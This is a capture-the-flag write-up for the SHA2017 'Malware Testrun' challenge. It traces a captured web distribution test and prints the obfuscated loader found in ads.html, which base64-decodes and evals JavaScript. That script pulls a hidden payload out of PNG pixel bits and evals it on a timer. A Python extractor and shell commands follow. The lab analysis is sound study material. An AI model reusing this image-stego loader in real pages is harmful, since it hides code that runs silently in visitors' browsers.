SHA2017 CTF writeup — Malware Testrun

We heard a rumour that our website will be used to distribute malware. We believe we captured a test run of it. Can you find out what the malicious content will be?

malwaretestrun.tgz

Open the pcap file with wireshark, you will see many HTTP traffic and most of them are transporting files via HTTP (compressed).

wireshark

wireshark has a wonderful feature to export all of them HTTP files (and decompress them) by a few clicks. Unfortunately, their hierarchy is not preserved, they are all put in a same directory.

wireshark

Looking at these files, some CSS files, some HTML files and some Javascript files. Checking each of them, and you can find out the ads.html is pretty suspicious, because it hides some Javascript code in  !!

ads.html
<img>
<img id="img" src="data:image/png;base64,ej0iIjtmdW5jdGlvbiB2KGIpe3M9Jyc7Zm9yKGk9MCxsPWIubGVuZ3RoO2k8bDtpKz04KXtjPTA7Zm9yKGo9NztqPj0wO2otPTEpe2MrPWJbaSs3LWpdPDxqO31zKz1TdHJpbmcuZnJvbUNoYXJDb2RlKGMpO31yZXR1cm4gczt9ZnVuY3Rpb24gZChpbWcpe2k9MDtsPWltZy5sZW5ndGg7c3Q9W107d2hpbGUoaTxsKXtzdFtpXT0gaW1nW2kqNF0mMTtpKz0xO31yZXR1cm4gdihzdCk7fWZ1bmN0aW9uIGYoKXt3PWkubmF0dXJhbFdpZHRoO2g9aS5uYXR1cmFsSGVpZ2h0O2M9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgiY2FudmFzIik7eD1jLmdldENvbnRleHQoIjJkIik7Yy53aWR0aD13O2MuaGVpZ2h0PWg7eC5kcmF3SW1hZ2UoaSwwLDAsdyxoKTt0PWQoeC5nZXRJbWFnZURhdGEoMCwwLHcsaCkuZGF0YSk7aWYodD10Lm1hdGNoKC9TSEEuKlNIQS8pKXt6Kz10WzBdLnJlcGxhY2UoL1NIQS9nLCcnKTt9fTtmdW5jdGlvbiBxKCl7aT1uZXcgSW1hZ2UoKTtpLmFkZEV2ZW50TGlzdGVuZXIoJ2xvYWQnLGYsZmFsc2UpO2kuc3JjPSJub3RpdC5wbmcifXNldFRpbWVvdXQocSwxMDAwKTtmdW5jdGlvbiBhKCl7ZXZhbCh6KX1zZXRUaW1lb3V0KGEsMjAwMDAwKQo=">
<script type="text/javascript"> eval(atob(document.images[0].src.replace(/.*,/, "")));....

This JS code extract and convert the base64 encoding string and eval() it! Clearly it hides something. Now let’s decode it:

z="";function v(b){s='';for(i=0,l=b.length;i<l;i+=8){c=0;for(j=7;j>=0;j-=1){c+=b[i+7-j]<<j;}s+=String.fromCharCode(c);}return s;}function d(img){i=0;l=img.length;st=[];while(i<l){st[i]= img[i*4]&1;i+=1;}return v(st);}function f(){w=i.naturalWidth;h=i.naturalHeight;c=document.createElement("canvas");x=c.getContext("2d");c.width=w;c.height=h;x.drawImage(i,0,0,w,h);t=d(x.getImageData(0,0,w,h).data);if(t=t.match(/SHA.*SHA/)){z+=t[0].replace(/SHA/g,'');}};function q(){i=new Image();i.addEventListener('load',f,false);i.src="notit.png"}setTimeout(q,1000);function a(){eval(z)}setTimeout(a,200000)

Ah, some obfuscated JS code! You can almost smell the malware inside!! Let’s make it slightly more readable (I didn’t use any tool):

z="";
function v(b){s='';for(i=0,l=b.length;i<l;i+=8){c=0;for(j=7;j>=0;j-=1){c+=b[i+7-j]<<j;}s+=String.fromCharCode(c);}return s;}
function d(img){i=0;l=img.length;st=[];while(i<l){st[i]= img[i*4]&1;i+=1;}return v(st);}
function f({w=i.naturalWidth;h=i.naturalHeight;c=document.createElement("canvas");x=c.getContext("2d");c.width=w;c.height=h;x.drawImage(i,0,0,w,h);t=d(x.getImageData(0,0,w,h).data);if(t=t.match(/SHA.*SHA/)) {z+=t[0].replace(/SHA/g,'');}};
function q(){i=new Image();i.addEventListener('load',f,false);i.src="notit.png"}
setTimeout(q,1000);
function a(){eval(z)}
setTimeout(a,200000)

To understand this code, you need to pay attention to the asynchronous API, setTimeout(). So, overall this code extracts some string from notit.png and saves the result into the global variable z . Then, eval() this string. Therefore, z must contains some JS code again!

notit.png
z
z

The questions are: how is z computed from a PNG file??? What is it?

z

The latter question is easy if you know how to inspect the variables in your JS console. Or you can just run it. Just some JS alert saying this is the wrong file. Wrong file??? This looks like a hint, if this is the wrong file, which one is the correct one?

To answer this, we have to solve the hard question, how is z computed from a PNG file? We have look into v() d() f() q() . The most difficult part is img[i*4]&1 , if you never learn Javascript like me. What the hell is this? Google search getImageData() API, it is easy to find out it is actually the RGB value (optionally Alpha value) arrays from the PNG file, where img[0] is the Red. So the hidden JS code is saved in the Red values in the PNG file, a bit in one value!!

z
v()
d()
f()
q()
img[i*4]&1
getImageData()
img[0]

So, the target might be in Green or Blue values too. And the hint is we have to look for another file. Looking into image/ directory, there are a few other PNG files too! Let’s retrieve them all and see if we can find it. To automate the process, I quickly come up with this Python code:

image/
#!/usr/bin/env python
from PIL import Imageimport sys
img = Image.open(sys.argv[1])print "%s has mode %s"%(sys.argv[1], img.mode)
def bin2str(vec):  ret = ""  for i in xrange(0, len(vec), 8):    char = 0    if i + 7 > len(vec):      break    for j in xrange(8):      char += vec[i+7-j] << j    ret += chr(char)  return ret
red = []green = []blue = []arr = img.getdata()
for rgb in arr:  red.append(rgb[0] & 1)  green.append(rgb[1] & 1)  blue.append(rgb[2] & 1)
print bin2str(red)print bin2str(green)print bin2str(blue)

Run this for all the PNG files

for i in ls images/*.png; do ./png.py $i ; done > /tmp/output

for i in `ls images/*.png`; do ./png.py $i ; done > /tmp/output

And you know the marks…

grep –binary-files=text -o ‘SHA.*SHA’ /tmp/output > hidden.js

grep --binary-files=text -o ‘SHA.*SHA’ /tmp/output > hidden.js

Put the final JS code into your browser and get the flag!

Happy hacking!